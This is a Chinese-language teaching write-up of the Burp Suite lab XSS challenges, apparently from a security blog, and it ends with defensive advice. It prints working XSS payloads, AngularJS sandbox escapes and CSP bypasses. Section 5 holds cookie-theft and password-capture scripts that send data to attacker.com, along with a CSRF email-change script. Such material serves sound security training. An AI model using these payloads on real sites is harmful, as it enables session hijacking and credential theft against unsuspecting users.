burpsuite靶场XSS漏洞通关代码解析
字数 1145 2025-08-24 07:48:09

Burp Suite 靶场 XSS 漏洞通关代码解析与教学文档

1. 基础 XSS 漏洞类型与利用

1.1 存储型 XSS (Stored XSS)

漏洞特征:恶意脚本被永久存储在目标服务器上,当其他用户访问受影响页面时执行。

典型 payload

<script>alert(1)</script>

利用场景:评论区、用户资料等用户输入会被持久化存储的位置。

1.2 反射型 XSS (Reflected XSS)

漏洞特征:恶意脚本从当前 HTTP 请求中立即反射回响应页面中执行。

典型 payload

<script>alert(1)</script>

利用场景:搜索框、错误消息等将用户输入直接反映在页面中的位置。

1.3 DOM 型 XSS

漏洞特征:通过修改页面的 DOM 环境在客户端执行恶意代码,不涉及服务器端。

常见 sink 点

  • document.write()
  • innerHTML
  • jQuery 选择器
  • AngularJS 表达式

2. 不同上下文中的 XSS 利用技术

2.1 HTML 上下文

无编码情况

<script>alert(1)</script>

闭合标签利用

"><svg onload=alert(1)>

2.2 属性上下文

闭合属性值

"onmouseover="alert(1)

href 属性利用

javascript:alert(1)

2.3 JavaScript 上下文

字符串闭合

'-alert(1)-'

模板字符串利用

${alert(1)}

注释绕过

'-alert(1)// 

3. 高级绕过技术

3.1 标签/属性过滤绕过

Fuzz 测试

  1. 测试可用标签
  2. 测试可用事件
  3. 组合可利用的标签和事件

示例 payload

<body onresize="print()">
<iframe src="URL" onload=this.style.width='100px'>

3.2 自定义标签利用

利用方式

<xss id=x onfocus=alert(1) tabindex=1></xss>

触发方式

location = 'URL#x'

3.3 SVG 标签利用

可用标签

  • <svg>
  • <a>
  • <animate>

示例 payload

<svg><a><animate attributeName="href" values="javascript:alert(1)"></animate></a></svg>

4. AngularJS 沙箱逃逸

4.1 基本逃逸技术

典型 payload

"-alert(1)}//

4.2 高级沙箱逃逸

payload

1&toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

利用点

<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

5. 实战利用技术

5.1 Cookie 窃取

payload

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

5.2 密码捕获

payload

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://attacker.com',{
  method:'POST',
  mode: 'no-cors',
  body:username.value+':'+this.value
});">

5.3 CSRF 利用

payload

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();

function handleResponse() {
  var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
  var changeReq = new XMLHttpRequest();
  changeReq.open('post', '/my-account/change-email', true);
  changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

6. CSP 绕过技术

6.1 悬挂标记攻击 (Dangling Markup)

payload

"><button background='//attacker.com?

6.2 CSP 策略修改

payload

?search=<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'

6.3 base 标签利用

payload

<base target='attacker.com'>

7. 防御建议

  1. 对所有用户输入进行适当的编码/转义
  2. 实施严格的 CSP 策略
  3. 使用安全的 API (如 textContent 代替 innerHTML)
  4. 对敏感操作实施 CSRF 保护
  5. 定期进行安全测试和代码审查

8. 总结

本教学文档涵盖了从基础到高级的 XSS 漏洞利用技术,包括:

  • 不同类型 XSS 的利用方式
  • 各种上下文中的 payload 构造
  • 高级绕过技术
  • 实战利用场景
  • CSP 绕过方法

理解这些技术不仅有助于渗透测试,更能帮助开发者构建更安全的 Web 应用。

Burp Suite 靶场 XSS 漏洞通关代码解析与教学文档 1. 基础 XSS 漏洞类型与利用 1.1 存储型 XSS (Stored XSS) 漏洞特征 :恶意脚本被永久存储在目标服务器上,当其他用户访问受影响页面时执行。 典型 payload : 利用场景 :评论区、用户资料等用户输入会被持久化存储的位置。 1.2 反射型 XSS (Reflected XSS) 漏洞特征 :恶意脚本从当前 HTTP 请求中立即反射回响应页面中执行。 典型 payload : 利用场景 :搜索框、错误消息等将用户输入直接反映在页面中的位置。 1.3 DOM 型 XSS 漏洞特征 :通过修改页面的 DOM 环境在客户端执行恶意代码,不涉及服务器端。 常见 sink 点 : document.write() innerHTML jQuery 选择器 AngularJS 表达式 2. 不同上下文中的 XSS 利用技术 2.1 HTML 上下文 无编码情况 : 闭合标签利用 : 2.2 属性上下文 闭合属性值 : href 属性利用 : 2.3 JavaScript 上下文 字符串闭合 : 模板字符串利用 : 注释绕过 : 3. 高级绕过技术 3.1 标签/属性过滤绕过 Fuzz 测试 : 测试可用标签 测试可用事件 组合可利用的标签和事件 示例 payload : 3.2 自定义标签利用 利用方式 : 触发方式 : 3.3 SVG 标签利用 可用标签 : <svg> <a> <animate> 示例 payload : 4. AngularJS 沙箱逃逸 4.1 基本逃逸技术 典型 payload : 4.2 高级沙箱逃逸 payload : 利用点 : 5. 实战利用技术 5.1 Cookie 窃取 payload : 5.2 密码捕获 payload : 5.3 CSRF 利用 payload : 6. CSP 绕过技术 6.1 悬挂标记攻击 (Dangling Markup) payload : 6.2 CSP 策略修改 payload : 6.3 base 标签利用 payload : 7. 防御建议 对所有用户输入进行适当的编码/转义 实施严格的 CSP 策略 使用安全的 API (如 textContent 代替 innerHTML) 对敏感操作实施 CSRF 保护 定期进行安全测试和代码审查 8. 总结 本教学文档涵盖了从基础到高级的 XSS 漏洞利用技术,包括: 不同类型 XSS 的利用方式 各种上下文中的 payload 构造 高级绕过技术 实战利用场景 CSP 绕过方法 理解这些技术不仅有助于渗透测试,更能帮助开发者构建更安全的 Web 应用。